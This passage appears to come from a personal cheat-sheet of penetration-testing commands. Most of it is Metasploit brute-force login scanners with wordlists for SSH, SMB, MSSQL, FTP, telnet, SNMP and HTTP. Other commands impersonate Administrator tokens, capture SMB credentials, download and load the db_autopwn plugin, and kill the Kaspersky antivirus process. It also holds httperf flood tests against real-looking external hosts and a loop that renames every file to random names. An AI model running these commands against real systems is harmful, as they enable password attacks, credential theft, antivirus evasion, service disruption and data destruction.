3224set RHOSTS file://192.168.8.39
3225set RHOSTS 127.0.0.1
3226
3227set USER_FILE "C:/wordlist/users.txt"
3228set PASS_FILE "C:/wordlist/2.txt"
3229set VERBOSE false
3230# set to number of host scanning .
3231set THREADS 16
3232
3233set STOP_ON_SUCCESS true
3234set VERBOSE true
3235set BLANK_PASSWORDS false
3236
3237
3238# http
3239
3240use auxiliary/scanner/http/http_login
3241set AUTH_URI /folder?dcPath=ha-datacenter
3242set RHOSTS 127.0.0.1 127.0.0.1 127.0.0.1
3243set VERBOSE true
3244run
3245
3246
3247
3248
3249back
3250
3251# telnet
3252use auxiliary/scanner/telnet/telnet_login
3253set RHOSTS 127.0.0.1,49,50
3254
3255set PASS_FILE "C:/wordlist/password_small.txt"
3256set THREADS 254
3257run
3258
3259
3260
3261back
3262
3263
3264# mssql
3265use auxiliary/scanner/mssql/mssql_login
3266set RHOSTS 127.0.0.1
3267set PASS_FILE "C:/wordlist/password_small.txt"
3268set USERNAME sa
3269set VERBOSE false
3270run
3271
3272
3273back
3274
3275
3276
3277#ftp
3278use auxiliary/scanner/ftp/ftp_login
3279set RHOSTS 127.0.0.1
3280set PASS_FILE /home/administrator/alcoa/alcoa_small.txt
3281set USER_FILE /home/administrator/alcoa/alcoa_small.txt
3282set BRUTEFORCE_SPEED 1
3283run
3284
3285
3286
3287#snmp
3288use auxiliary/scanner/snmp/snmp_login
3289set RHOSTS 127.0.0.1
3290set PASS_FILE "C:/wordlist/snmp_default_pass.txt"
3291set VERBOSE false
3292
3293run
3294
3295
3296
3297nmap --script=smtp-open-relay.nse -p 25 -iL 25 -n
3298
3299
3300./sfuzz -T O -f sfuzz-sample/basic.http -S 50.74.10.218 -p 179
3301
3302
3303# onlt works for Delegation Tokens
3304list_tokens -u
3305impersonate_token ORACLE-ENT\\Administrator
3306
3307
3308# after hijack incognito
3309use auxiliary/server/capture/smb
3310
3311# ubuntu autopwn
3312apt-get install ruby1.8-dev libpq-dev postgresql -y
3313gem install postgres
3314
3315
3316# download autopwn .
3317cd /pentest/exploits/framework/plugins/
3318wget http://rmccurdy.com/scripts/db_autopwn.rb
3319cd ..
3320
3321
3322
3323sudo -u postgres psql
3324\password postgres
3325\q
3326
3327
3328sudo -u postgres createdb msf
3329
3330./msfconsole
3331
3332db_driver
3333db_driver postgresql
3334db_connect postgres:postgres@127.0.0.1/msf
3335db_nmap 123.123.123.123 -v -v -v -v
3336load db_autopwn
3337db_autpown -p -t -e
3338
3339
3340# ssh logins
3341use auxiliary/scanner/ssh/ssh_login
3342set RHOSTS 192.168.1.1-255
3343set USER_FILE "C:/wordlist/password_small.txt"
3344run
3345
3346
3347
3348back
3349
3350#smb
3351use auxiliary/scanner/smb/smb_login
3352set RHOSTS 127.0.0.1
3353set SMBUser Administrator
3354set PASS_FILE "C:/wordlist/password_small.txt"
3355set VERBOSE false
3356set THREADS 16
3357run
3358
3359
3360
3361back
3362
3363# telnet
3364use auxiliary/scanner/telnet/telnet_login
3365set RHOSTS 127.0.0.1
3366set PASS_FILE "C:/wordlist/password_small.txt"
3367set THREADS 254
3368run
3369
3370
3371
3372back
3373
3374
3375# mssql
3376use auxiliary/scanner/mssql/mssql_login
3377set RHOSTS 127.0.0.1
3378set PASS_FILE "C:/wordlist/password_small.txt"
3379set USERNAME sa
3380run
3381
3382
3383back
3384
3385
3386
3387#ftp
3388use auxiliary/scanner/ftp/ftp_login
3389set RHOSTS 127.0.0.1
3390set PASS_FILE "C:/wordlist/password_small.txt"
3391run
3392
3393
3394
3395#snmp
3396use auxiliary/scanner/snmp/snmp_login
3397set RHOSTS 127.0.0.1
3398set PASS_FILE "C:/wordlist/snmp_default_pass.txt"
3399run
3400
3401
3402
3403
3404User Summary
3405
3406Checks if a VNC server is vulnerable to the RealVNC authentication bypass (CVE-2006-2369).
3407Example Usage
3408
3409nmap -sV -sC <target>
3410
3411db_driver postgresql
3412db_connect postgres:"msf3:"32a771f6"@127.0.0.1:7175/msf3
3413
3414http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=7558 Microsoft Baseline Security Analyzer 2.2 (for IT Professionals)
3415
3416.a/gxfr.py rmccurdy.com --dns-lookup -v -t 10
3417
3418
3419http stress test
3420.- HTTPS Support
3421- 1000 simultaneous connections (each one with a different user/password)
3422- Ability to record 2 or more application forms in order to test very specific application flows..
3423
3424In order to answer your question, there.re some tools like:
3425
3426Tool 1- httperf
3427
3428More examples that I used before.
3429
3430httperf --hog --server HOST --num-conn 1000 --ra 100 --timeout 5
3431httperf --hog --server 192.168.1.3 --num-conn 1000 --ra 100 --timeout 5
3432httperf --hog --server=192.168.1.3 --wsess=10,5,2 --rate 1 --timeout 5
3433httperf --hog --server=www --wsess=10,5,2 --rate=1 --timeout=5 --ssl
3434httperf --hog --server=bankinghome.es/apl/donativos/index_ca.html --wsess=10,5,2 --rate=1 --timeout=5 --ssl --ssl-ciphers=EXP-RC4-MD5:EXP-RC2-CBC-MD5 --ssl-no-reuse --http-version=1.0
3435httperf --hog --server=17.148.71.129/index.html --wsess=10,5,2 --rate=1 --timeout=5 --ssl --ssl-ciphers=EXP-RC4-MD5:EXP-RC2-CBC-MD5 --ssl-no-reuse --http-version=1.0
3436httperf --hog --server=http://17.148.71.129/index.html --wsess=10,5,2 --rate=1 --timeout=5 --ssl --ssl-ciphers=EXP-RC4-MD5:EXP-RC2-CBC-MD5 --ssl-no-reuse --http-version=1.0
3437
3438Tool 2- fakeconnect
3439
3440fakeconnect -s SOURCE -d HOST -p PORT
3441
3442Tool 3- Apache benchmarking tool (accept POST)
3443
3444ab -n 100 -c 4 -p test.jpg http://localhost/
3445(http://httpd.apache.org/docs/2.0/programs/ab.html)
3446
3447Tool 4- Curl-loader (it rocks, very customizable)
3448
3449http://curl-loader.sourceforge.net/
3450
3451
3452And running hundreds and thousands of clients..., please, do not forget:
3453
34541- To increase limit of descriptors (sockets) by running e.g.
3455
3456#ulimit -n 10000;
3457
34582- Optionally, to set reuse of sockets in time-wait state, etc.., by setting:
3459
3460#echo 1 > /proc/sys/net/ipv4/tcp_tw_recycle and/or
3461#echo 1 > /proc/sys/net/ipv4/tcp_tw_reuse;
3462#echo 1 > /proc/sys/net/ipv4/tcp_moderate_rcvbuf
3463#echo 108544 > /proc/sys/net/core/wmem_max
3464#echo 108544 > /proc/sys/net/core/rmem_max
3465#echo "4096 87380 4194304" > /proc/sys/net/ipv4/tcp_rmem
3466#echo "4096 16384 4194304" > /proc/sys/net/ipv4/tcp_wmem
3467
3468Additional info:
3469
3470http://ltp.sourceforge.net/tooltable.php
3471
3472Hope that help you.
3473
3474
3475
3476==========
3477
3478
3479random file raname rename random file
3480IFS=$'\n';for fname in `ls`; do mv "$fname" $RANDOM$RANDOM ;done
3481
3482
3483grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}' ips | sort | uniq
3484
3485
3486catchme.exe -K "c:\Program Files\Kaspersky\avp.exe"
3487catchme.exe -E "c:\Program Files\Kaspersky\avp.exe"
3488catchme.exe -O "c:\Program Files\Kaspersky\avp.exe"
3489reboot
3490still looking into it .. can't kill it from memory yet I can delete the file
3491
3492
3493
3494# file size search
3495FOR /R C:\ %i in (*) do @if %~zi gtr 10000000 echo %i %~zi
3496
3497# screen cron
3498@reboot /usr/bin/screen -fa -d -m -S torrent /usr/bin/rtorrent
3499
3500
3501# netstat with pid
3502for /f "tokens=1,2,3,7 delims=: " %a in ('netstat -nao ^| find ^"LISTENING^" ^| find /v ^"::^"') do @(for /f "tokens=1,*" %n in ('"wmic process where processId=%d get caption,executablepath | find ".""') do @echo Protocol=%a, IP=%b, Port=%c, PID=%d, Name=%n, Path=%o)
3503
3504
3505# CSV file size,file
3506for /r c:\ %i in (*) do @echo %~zi, %i
3507
3508# md5 check but in linux style
3509md5 * | awk '{print $4,$2}' | sed 's/ (/ \*/g' | sed 's/)//g'
3510
3511
3512
3513#################
3514# see ./fu_ripp.txt for ripped fu the size was getting out of hand ..
3515#################